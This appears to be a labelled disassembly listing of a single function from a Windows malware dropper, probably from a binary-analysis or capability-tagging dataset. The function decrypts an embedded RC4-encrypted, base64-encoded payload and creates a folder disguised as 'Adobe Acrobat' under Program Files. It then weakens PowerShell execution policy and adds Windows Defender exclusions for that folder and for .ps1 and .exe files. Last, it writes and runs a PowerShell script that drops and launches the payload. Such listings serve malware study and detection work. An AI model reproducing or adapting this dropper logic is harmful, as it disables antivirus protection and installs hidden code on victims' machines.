Function at 0x40159a
Capabilities:
Execute command
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xed8
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, rsp
mov rbx, rax
lea rax, str.gqNRowlK6DPkq6XHQa6Nuvp2UcKdBwAqL5sKBd0cOmDtgeQnKckFndWKBXZzxJ6qZrlCrv4LMqaOGJaHHwBGPOpQdnHXho69YgnIHnDmoGKqyTn_1q0qW9rfBePu0iPmtfkuDQ4E2nXd4MMDf3M5wHnlNmyRfX4mMo_E6fJaA0Any1YEIGE0s3N34PeL4S1tQqaWUFHoqatQw5PYTG5egXmdQiovVISl7U2j32J5kx37cfuiZQn5iZVG591Sbs6RI7r0XyvXsgV3QVyTDv6iu2RWZ0gdnRovYKrj5oBlTVZ_wb8f8tJdVHjjkZqKZ08XdtZvdP87x3yzI4Rbt5mCyUtA6mol35br4_ukIPPPnIMvjQNbMRwBFkYNWZ2gHeKnKEhMhaf5p0PrQ_e6PwzjTR8Ar4D9Sp5IV_khHktAHcMx2AHgjBVhBMnIBYSuuRF4CDw8Ce6G0AZV3OEggqafoMQNZmd34yi8Zr_KSIU_0Ce_YEb1A2exg4MXXwkralYmK6H0gbAhwg2alMLhBruHXYaxu89RnpyKwpQLPKehHPCdTG8sMOFgXmCkiLFsF7fIfVEIxY9ppYYcqxP0olWTGNKx1yXVbmN02u1oJbugL2tdUgqPNA4VeQ9XiJ2VPR1k5Jf23yjCRaGh8t8sByrrrsHV1ZxRCKcEmB0QdaaQe04D55hSUmZQURZp4ESfSscA02nT6EHLBLlurcgAXv8XyyPmIVWspWabQVIr02JQsUQ3DVpxjBfobYuvpeeAvo9UyAENASLt8aVS_wPQ2KAXfDkcEoK9c81caXjaQL9kKEuM1D3XXT1tV9wqyLbwk2630o6IVe4_E8jIjsc2cZdoBfdQVRfCiG4AdDBONqGo7kTxxSTUpdmlLr12OajEoOeeQNYl5x9wTrtgvGWXpDQWQxY8jvMcRO8kianEqNc4YdtesPpqW9Wc_xyNH1EDTJue9nGapEgSnZyke0m2MGCdRgGmLsTEj_YkE2PsyTJjse0FoS89YslqqVqhtn8vyhHmWb3t7lUdFX8nrjCPdSHeUKrveAreGoVYysHlBj5E0w3NYoPiaECemgnCxzudjvNt95waehhd_NjkEaLa0wdN7JZL5iavLIExmLDNKdRQXu_Yon9QbdlMM9fyfyl42Ow6OS5q5ZVvOzdd5KajAdA9UScmB8xi7LVdJ3SH79opIT3pKUP03ZqQRVfVWS7D82gZHbwXynemCMgHmtDVmMBt1ScNzH5o3zbEQKVFSCV95kO_BnZlb9tpBZrEB6Yp_oiYvmJfUK7DTs1hV60rGUafFj8KiKfZab0HJ89RrGBVyhwjwA7gLtAGrL_IvLw7yfjkzVY3pu3Md7_VYmM9SBBdDt0YQ8pCk3AFuAV2V_c4zJlSCL4VfNfrkx6IjppOos9IuCdXUqjxY37fdP8RaUBvsEp7mEiPcG5__LhtQEFm2J0ury8ltUIMCCz2z4jrmVPXs3PuAkIf6iQSKLQlQf1QkIQV7DBMkfvrfNATENS3SCsPcRpj7vQP8Wl56cAycirekyup2gwlXWx8s3O5gPPHnQlZxbcZGenUxobo5NqkdkQ2Gc3_M0tWctwJdmvBaB3EnF4rmq7xMi7c45jBkrXZXJ1vmLY5plol6Xao9UOrs9xCn7uG34raLJynolpwXVCvh7EoYY74TK9RVe_i86LCSMvHcrwJMqm5q6UdXqDe19PN7Sn0KAhcBs2chud9wnOTkcgzL9I9noxFufCIdVhXiXo6ZOzpNEJvergNAAFN9c95beVA_KXQdTbWqeWVBkn1h8BjTwcG9Dpyf2nCtuXaeZwlen9EwPhbKcYyUGjTYOR3d0DycISZDlF_BNGh7u1VVuMMtD66J6LJ2Knk_01WCrAVnNTBfEBsSvA0XNghtiqZ5yYyeXLnmig1MsMT_RZZkSF_kPA1CzwOmIKozo0oYRJstzEElqnwVJt_9N5RhFwFYnfeS4Twq8EwuiZXkSJ_kcYN7JazowGhpEmYuTRxdgNA1LL49yGp2nZ6DLYBPavKtjrpi4CTxISYvxRmhF12YKOdXP9HXCcIgbMaBHqffTHhnX4MyxRK4lb1mNXS9DBmlqd1SEg8sqbuPSBzoMLToY9QmKYFjsCnseCTdc6kUWI0fDfUEE4wujKc5vDJm6OSGGnJij7XbqEqcqJ91eCBPgEIo_wpmLCHgAeTUVEqaPOOJEp8vk465s3xylB0q0lGKWPmTjaKz0gHSrJx_gIFoujHcA00UtLYCI3TLeF1b6Fm3r2kFidcE0amCKOHlEfKy9eZIJG0wsKU1tara6z456UKF3zohe2nD6_Hewl74bce99I2KoQMT3_ql_OVT3OJSrbJ2t_tVJb1Z95pVqshC8XK7r5JXCcXCr0b03JDmnRnqmYlnVAQyLQMSoTi8v_OtfKCRmucwFjrEP6ka74UJKo3gWG1p2qTcwzT4x2Syz1aEIJhhG9NAUgzZ46sjuuLP6rTSuX5Z0pAxOdgZKiAfYMRSUdSwVjljGlloj20VILxaSlK7eylqkZQnPyB3Qv99Z0iZkH0RnnIsiuIqBjjCaTYPlUAX6q508NtLr8xAIwxwnUMQxCg_e880rUj9IUyYNzqEuOUUG1IU0boFnJgWZNdS0VtOO19x6cVtgaBROnRDbCh8qs5Wxo44NKTmE1z9vDJgK6RGO0yZ2MCTyZ6VpRsZKFxN02iknY2NznxWA8fTsXj2NbgAGmYIR8oePkFDLo6CQI25YpbMgPAqwauaORMD72JuROxNtNYXB9rbvCSqgiLrQJj8wcRvkSeQdUc6WPRw3rVKYRKnjN3PbNHLcZjKKRR0HfvEw0pU12Q8zphwDwBOqI7c4_UMKBNiNi8ujQYDn5hXADc6rOedRlwVi57jdb6hojdvcw0nLpmRvOhadIg2Ugw4K3c8CE8qEUsrwqqKBws4WHArmwjOVtiDBV1ym4FKV_VDAGHGEOzf8ztZm56M3Tx_fYvR2zgpAZQDmHjl9xI7_dMKWOTK2aPvYqx0CZI0er0RhJjLLorajMaZ4y7S4XNB2NzQGtNxTJqsBa3_FNO2SXmTkPXMjYuT2lEBGVbQt3BCpMayc9jnc0MklCaSvVAN1sNEi1__JQA8Qt0g2O3yqXpKvDyqZitowqA59K0J831QE0Kr_rGmgaG7Fk23Oq7_sXps5zLTEhweQGJFOW3Oy7taUjiiDjVIx2FvZ6x4vdvBwwl4gs7F3IQ4yo5F4TJ6K652C4GF6ue5J9iI8lHozGH4wWjuXb3BYemkzgktSRdGb5CuF2VVtjrcgD73BQZL0SaHXW3clrp1rX_g55Nst3_cC0FrBUYuG4_7w1o7i94XfrEh3V_qTJK_cispscuYFAjGtDMoZl3Ykb6ICzOPOvlSEExOEbcNoyDcKv7EodoPzYqcsdefBu2Fu__aYHgoO7jmpTck21Q3_amMXhZCiJpxAqdwxNmp0HsqqfACBvbf2tnMrwSsNxOoLnARfICs4JheZKnNYSSAD5X7ciQ6jxWtTgYc8Vtt0EIHzXeoJrqi2aWSSsrz9wYIhveZrha_gNsLYy1tHRB7iZCrSBXmyq4dcmHa3jWemgUB9YZ0R89e3EjmN7H0TQthLQpBloM3gt4HU6huzJKOdV15QbiuOZtIOlr0VXt0aro93D3iu_5n9XzB0lVtA8wFnLFrWoOz_Zu9n3TcUXpQvKlL1qvqE34qN85B5wfGh9OhXmwEBuJz_TGty6mSpPMlV7g9XWATt8XylH3BYlehXFw1iIxSIujbgRjTjCDEPwcqyLSck4w2TrSBeEnUdP1x2PcggVrQyIZ0ri5tFWOBfT82RBHC4IfQ6KgAjL62Eb26Pd9PFKOydcxUQ8vaBLqVCAyzz0WOBNHI2eLUTKPI9LWDsF0JQSekoLVqTiqmEaQIjpP9CubafOHdUNI0BHfY1c0a3BMuHtbIp04aMKHeARIgMk_87vCunfbdOdFo_6DNnbmxy5wOXsSXmL2VZYFUFRvSQ5vVivfhvNHCmhFqtDI3CelGwGcu9c_B_L0xOPAIyxZ07
mov qword [rbp + 0xe48], rax
mov qword [rbp + 0xde0], 0
mov qword [rbp + 0xdd8], 0
lea rdx, [rbp + 0xdd8]
lea rax, [rbp + 0xde0]
mov rcx, qword [rbp + 0xe48]
mov r8, rdx
mov rdx, rax
call sym.splitString
mov rcx, qword [rbp + 0xdd8]
lea rax, [rbp + 0xdd0]
mov rdx, rax
call sym.base64_to_bytes
mov qword [rbp + 0xe40], rax
mov rax, qword [rbp + 0xdd0]
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0xe38], rdx
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 0
mov r14, rax
mov r15d, 0
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.00403b00
sub rsp, rax
lea rax, [rsp + 0x30]
add rax, 0
mov qword [rbp + 0xe30], rax
mov rax, qword [rbp + 0xde0]
mov rcx, rax
call sym.strlen
mov rcx, rax
mov rax, qword [rbp + 0xde0]
lea rdx, [rbp + 0xcd0]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call sym.rc4_init
mov r8, qword [rbp + 0xe30]
mov rdx, qword [rbp + 0xdd0]
lea rcx, [rbp + 0xcd0]
mov rax, qword [rbp + 0xe40]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.rc4_crypt
mov rdx, qword [rbp + 0xdd0]
mov rax, qword [rbp + 0xe30]
lea rcx, [rbp + 0xcc8]
mov r8, rcx
mov rcx, rax
call sym.encode_base64
mov qword [rbp + 0xe28], rax
lea rax, [rbp + 0xbc0]
mov edx, 0x104
mov rcx, rax
call sym.getProgramFilesPath
test eax, eax
je 0x40171e
lea rax, [rbp + 0xbc0]
mov rdx, rax
lea rcx, str.Program_Files_path:__s_n
call sym.printf
jmp 0x40172a
lea rcx, str.Failed_to_get_Program_Files_path
call sym.puts
lea rax, str.Adobe_Acrobat
mov qword [rbp + 0xe20], rax
mov rdx, qword [rbp + 0xe20]
lea rax, [rbp + 0xbc0]
mov rcx, rax
call sym.appendStrings
mov qword [rbp + 0xe18], rax
mov rax, qword [rbp + 0xe18]
mov rcx, rax
call sym.ensureFolderExists
test eax, eax
jne 0x401776
lea rcx, str.Folder_creation_successful.
call sym.puts
jmp 0x401782
lea rcx, str.Folder_creation_failed.
call sym.puts
mov rax, qword [rbp + 0xcc8]
add rax, 0xc8
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0xe10], rdx
mov r12, rax
mov r13d, 0
mov rsi, rax
mov edi, 0
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.00403b00
sub rsp, rax
lea rax, [rsp + 0x30]
add rax, 0
mov qword [rbp + 0xe08], rax
lea rcx, str.powershell__Command__Set_ExecutionPolicy_RemoteSigned__Scope_CurrentUser__Force_
call sym.system
mov rax, qword [rbp + 0xe18]
lea rdx, str.example.exe
mov rcx, rax
call sym.appendStrings
mov qword [rbp + 0xe00], rax
mov rdx, qword [rbp + 0xe18]
lea rax, [rbp + 0x7c0]
mov r9, rdx
lea r8, str.powershell.exe__Command__Add_MpPreference__ExclusionPath__s_
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x7c0]
mov rcx, rax
call sym.system
lea rax, [rbp + 0x3c0]
lea r8, str.powershell.exe__Command__Add_MpPreference__ExclusionExtension_.ps1_
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.system
lea rax, [rbp - 0x40]
lea r8, str.powershell.exe__Command__Add_MpPreference__ExclusionExtension_.exe_
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.system
mov ecx, 0xfa0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0xe08]
mov r8, qword [rbp + 0xe00]
mov rcx, qword [rbp + 0xe28]
mov rdx, qword [rbp + 0xe00]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
lea rdx, str._data____s__n_dataBase64Bytes___Convert_::FromBase64String__data__n_System.IO.File_::WriteAllBytes___s____dataBase64Bytes__n___s_
mov rcx, rax
call sym.sprintf
mov rax, qword [rbp + 0xe18]
lea rdx, str.config.ps1
mov rcx, rax
call sym.appendStrings
mov qword [rbp + 0xdf8], rax
mov rdx, qword [rbp + 0xe08]
mov rax, qword [rbp + 0xdf8]
mov rcx, rax
call sym.saveStringToFile
mov rax, qword [rbp + 0xdf8]
mov rdx, rax
lea rcx, str.powershell__File__
call sym.appendStrings
mov qword [rbp + 0xdf0], rax
mov rax, qword [rbp + 0xdf0]
lea rdx, [0x00417e71]
mov rcx, rax
call sym.appendStrings
mov qword [rbp + 0xde8], rax
mov rax, qword [rbp + 0xde8]
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0xdd8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0xde0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0xe28]
mov rcx, rax
call sym.free
mov eax, 0
mov rsp, rbx
lea rsp, [rbp + 0xe58]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret